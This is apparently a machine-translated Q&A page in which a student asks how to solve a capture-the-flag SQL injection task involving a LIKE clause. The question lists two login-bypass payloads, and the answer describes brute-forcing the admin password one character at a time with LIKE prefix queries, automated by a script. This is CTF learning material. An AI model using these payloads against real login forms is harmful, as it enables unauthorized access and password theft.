web-dev-qa-db-ja.com

SQLインジェクション-LIKE句

フラグを取得する割り当ての一部として、LIKE句を使用してSQLインジェクションを実行し、フラグを取得することになっています。私はこれが初めてで、次の注射を試しました:

(ログインに必要なユーザー名は「admin」なので、パスワードフィールドで次の挿入を実行しました)

  1. '; SELECT password FROM users WHERE username LIKE 'admin%'; --
  2. ' OR '1'='1(LIKE句を無視しました)

(1.)の変種も試しましたが、まだ行き詰まっています。

行方不明のものはありますか?ヒントをいただければ幸いです!

PS:データベーススキーマまたはテーブルレイアウトがありません

1
Yash Chowdhary

次のアルゴリズムを使用して、パスワードをブルートフォースに強制されます。

SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

等々。簡単なpythonそれを自動的に行うプログラムを書くことができます:)

3
L00P3R